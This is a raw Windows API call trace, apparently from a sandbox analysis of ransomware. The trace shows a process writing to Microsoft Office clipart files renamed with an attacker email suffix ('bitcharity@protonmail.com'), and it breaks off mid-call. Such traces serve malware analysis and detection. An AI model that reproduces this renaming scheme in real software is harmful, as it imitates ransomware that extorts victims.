CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.491] CloseHandle (hObject=0x1270) returned 1 [0250.999] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0250.999] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0250.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.999] CloseHandle (hObject=0x1280) returned 1 [0251.000] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.000] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.001] CloseHandle (hObject=0x1280) returned 1 [0251.002] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.002] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.002] CloseHandle (hObject=0x1280) returned 1 [0251.003] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.003] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.003] CloseHandle (hObject=0x1280) returned 1 [0251.005] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.005] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.006] CloseHandle (hObject=0x1280) returned 1 [0251.007] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.007] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.008] CloseHandle (hObject=0x1280) returned 1 [0251.008] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.009] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.009] CloseHandle (hObject=0x1280) returned 1 [0251.010] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.010] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.011] CloseHandle (hObject=0x1280) returned 1 [0251.012] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.012] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.013] CloseHandle (hObject=0x1280) returned 1 [0251.015] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.015] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.015] CloseHandle (hObject=0x1280) returned 1 [0251.016] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.016] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.017] CloseHandle (hObject=0x1280) returned 1 [0251.018] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.018] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.018] CloseHandle (hObject=0x1280) returned 1 [0251.019] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.019] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.019] CloseHandle (hObject=0x1280) returned 1 [0251.021] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.021] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.021] CloseHandle (hObject=0x1280) returned 1 [0251.022] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.022] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.022] CloseHandle (hObject=0x1280) returned 1 [0251.026] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.026] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.026] CloseHandle (hObject=0x1280) returned 1 [0251.033] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.033] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.033] CloseHandle (hObject=0x1280) returned 1 [0251.034] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.034] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.034] CloseHandle (hObject=0x1280) returned 1 [0251.036] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.036] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.037] CloseHandle (hObject=0x1280) returned 1 [0251.038] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.038] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.038] CloseHandle (hObject=0x1280) returned 1 [0251.040] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.040] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.040] CloseHandle (hObject=0x1280) returned 1 [0251.041] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.041] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.041] CloseHandle (hObject=0x1280) returned 1 [0252.496] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.496] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.115] CloseHandle (hObject=0x1194) returned 1 [0255.648] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.648] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.766] CloseHandle (hObject=0x1270) returned 1 [0255.771] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.772] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309480.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.772] CloseHandle (hObject=0x127c) returned 1 [0255.773] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.773] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.774] CloseHandle (hObject=0x127c) returned 1 [0255.775] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.775] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.776] CloseHandle (hObject=0x127c) returned 1 [0255.778] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.778] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309664.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.778] CloseHandle (hObject=0x127c) returned 1 [0255.780] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.780] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.782] CloseHandle (hObject=0x127c) returned 1 [0255.783] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.784] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.784] CloseHandle (hObject=0x127c) returned 1 [0255.785] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.786] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.786] CloseHandle (hObject=0x127c) returned 1 [0255.787] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.787] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309920.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309920.wmf.id-b4197730.[bitcharity@protonmail.com].com"), 